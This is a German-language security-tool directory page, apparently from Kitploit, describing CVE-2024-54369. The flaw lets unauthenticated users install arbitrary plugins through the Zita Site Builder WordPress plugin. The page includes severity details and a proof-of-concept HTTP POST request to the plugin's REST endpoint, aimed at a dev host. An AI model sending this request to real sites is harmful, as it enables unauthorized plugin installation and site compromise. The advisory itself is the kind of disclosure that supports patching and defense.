Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-54369 — Zita Site Builder <= 1.0.2 - Fehlende Autorisierung zur beliebigen Plugin-Installation | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2024-54369
SchwachstellenanalyseExploitationAPI-SicherheitstestsWebsicherheitPenetrationstestsFehlkonfiguration
GitHubrandomrobbiebf/cve-2024-54369

CVE-2024-54369

Zita Site Builder <= 1.0.2 - Fehlende Autorisierung zur beliebigen Plugin-Installation

Repository anzeigen
6vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-54369

Zita Site Builder <= 1.0.2 - Fehlende Autorisierung zur beliebigen Plugin-Installation

Beschreibung

Das Zita Site Builder Plugin für WordPress ist anfällig für unbefugten Zugriff auf Funktionen aufgrund einer fehlenden Berechtigungsprüfung in einer seiner Funktionen in Versionen bis einschließlich 1.0.2. Dies ermöglicht es nicht authentifizierten Angreifern, beliebige Plugins zu installieren und zu aktivieren.

Details

  • Typ: Plugin
  • Slug: ai-site-builder
  • Betroffene Version: 1.0.2
  • CVSS Score: 9.8
  • CVSS-Bewertung: Kritisch
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE: CVE-2024-54369
  • Status: Geschlossen

POC

root@kitploit:~
POST /wp-json/ai/v1/ai-site-builder HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ai-site-builder&template=step
Content-Type: application/json
Content-Length: 245
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"params":{"templateType":"free","plugin":{"woocommerce":"Woocommerce"},"allPlugins":[{"woocommerce":"woocommerce/woocommerce.php"}],"builder":"th-shop-mania","themeSlug":"th-shop-mania","proThemePlugin":"hunk-companion","tmplFreePro":"plugin"}}
root@kitploit:~
"\"https:\\\/\\\/wp-dev.ddev.site\""
Tool herunterladen